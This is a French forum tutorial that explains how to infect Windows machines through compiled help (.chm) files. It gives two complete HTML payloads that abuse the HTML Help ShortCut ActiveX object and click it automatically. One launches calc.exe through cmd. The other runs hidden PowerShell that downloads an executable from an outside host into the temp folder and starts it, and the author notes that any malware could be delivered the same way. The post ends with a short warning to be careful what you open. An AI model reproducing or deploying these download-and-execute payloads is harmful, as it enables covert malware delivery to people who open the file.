Annonce

Réduire
Aucune annonce.

Infection par les fichiers d'aide (.chm)

Réduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Tutoriel Infection par les fichiers d'aide (.chm)

    Bonjour à tous,

    aujourd’hui nous allons voir un moyen d’infection plutôt intéressant, qui utilise les fichiers .chm. Ces fichiers sont des fichiers d’aide windows, permettant d’avoir une documentation et une aide hors-ligne.

    Exemple de fichiers d’aide (.chm) :


    ______Construction______

    Les fichiers .chm sont des fichiers compilés à partir de fichiers html, d’une table des matières et éventuellement d’un index. Vous pouvez trouver la dernière version du compilateur (HTML Help Workshop) ici -> http://www.microsoft.com/en-us/downl....aspx?id=21138


    _____Faille_____

    La faille se trouve dans la permission d’exécuter des commandes dans le script. Voici par exemple un script qui lance la calculatrice windows via l’invite de commandes cmd.

    Code:
    <HTML> 
    <TITLE>Launch Calc.exe</TITLE> 
    <HEAD> </HEAD> 
    <BODY> <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1> <PARAM name="Command" value="ShortCut"> 
    <PARAM name="Button" value="Bitmap::shortcut"> 
    <PARAM name="Item1" value=",cmd.exe, /c calc.exe"> 
    <PARAM name="Item2" value="273,1,1"> </OBJECT>
    <SCRIPT>
    x.Click();
    </SCRIPT> <A name=contents> <H2 align=center>Launch calc.exe with chm files.</H2> <P></A> <H3 ALIGN=CENTER>@RootSheep_Info</H3><P> </BODY> </HTML>
    Mettez votre fichier .html « infecté » en page d’ouverture et observez le résultat


    _____Infection_____

    Ayant accès à l’exécution de script, tout est désormais possible. Ainsi un script qui télécharge et lance un malware est caché est tout à fait faisable... Ici je le fais avec putty.

    Code:
    <HTML> 
    <TITLE>CHM Proof Of Concept</TITLE>
     <HEAD> </HEAD>
     <BODY> <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
     <PARAM name="Command" value="ShortCut"> 
    <PARAM name="Button" value="Bitmap::shortcut"> <PARAM name="Item1" value=",powershell.exe, -WindowStyle hidden -command (new-object System.Net.WebClient).DownloadFile('http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe',$env:temp+'\test.exe');start-process $env:temp\test.exe">
     <PARAM name="Item2" value="273,1,1"> </OBJECT> 
    <SCRIPT>
    x.Click();
    </SCRIPT> 
    <A name=contents> <H2 align=center>Download file and run it with chm.</H2> <P></A> <H3 ALIGN=CENTER>@RootSheep_Info</H3><P> </BODY> </HTML>
    ____Proof of Concept____

    Voici la vidéo illustrant l'execution du code ci-dessus :
    https://youtube.com/watch?v=u5v_AKB2KaA
    Conclusion : Faîtes attention à ce que vous ouvrez

    Lien original : http://rootsheep.info/2015/03/11/inf...ers-daide-chm/
    Dernière modification par Sadik, 11 mars 2015, 20h14.
    Mon blog : http://rootsheep.info
Chargement...
X